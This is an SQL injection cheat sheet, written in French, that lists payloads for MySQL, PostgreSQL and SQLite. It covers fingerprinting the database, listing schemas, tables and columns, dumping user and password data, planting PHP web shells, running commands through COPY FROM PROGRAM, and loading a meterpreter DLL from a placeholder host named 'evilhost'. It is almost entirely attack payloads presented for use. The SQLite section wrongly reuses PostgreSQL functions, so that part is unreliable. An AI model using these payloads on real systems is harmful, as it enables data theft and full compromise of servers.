SQL injection cheat sheet

Détection de la database :

PayloadDatabase
recherche=' union select @@version,null ;mysql ou mssql
recherche=' union select version(),null ;postgress
recherche=' union select null,null from sqlite_master ;sqlite
recherche=' union select version,null from v$instance ;Oracle
recherche=' union select versionnumber,null from sysibm.sysversions ;IBM DB2

Mysql exploit:


Récupérer base de données courante :
database() ou version()

Trouver les nom des databases:
UNION ALL SELECT NULL,concat(schema_name) FROM information_schema.schemata--

Payload toujours vrais :
' OR 1 -- -

Récupérer les tables:              
UNION ALL SELECT NULL,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='database1'--

Récupérer les colonnes:
UNION ALL SELECT NULL,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'--

Récupérer data:
UNION SELECT user,password from users

Récupérer data depuis une autre database:
UNION SELECT user,password from database2.users

Upload un reverse shell
UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile '/var/www/html/shell.php

Postgres exploit:

Récupérer base de données courante :
current_database()

Trouver les nom des databases:
SELECT datname FROM pg_database

Payload toujours vrais :
' OR 1 -- -

Récupérer les tables:
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)

Récupérer les colonnes:
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

Récupérer data:
UNION SELECT user,password from users

Exécuter une commande
CREATE TABLE cmd_table(cmd_output text)
COPY cmd_table FROM PROGRAM 'whoami'

SQLite exploit:

Récupérer base de données courante :
current_database()

Trouver les nom des databases:
SELECT datname FROM pg_database

Payload toujours vrais :
' OR 1 -- -

Récupérer les tables:
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
ou
SELECT group_concat(sql) FROM sqlite_master

Récupérer les colonnes:
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'

Récupérer data:
UNION SELECT user,password from users

Exécuter une commande
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Ou

UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--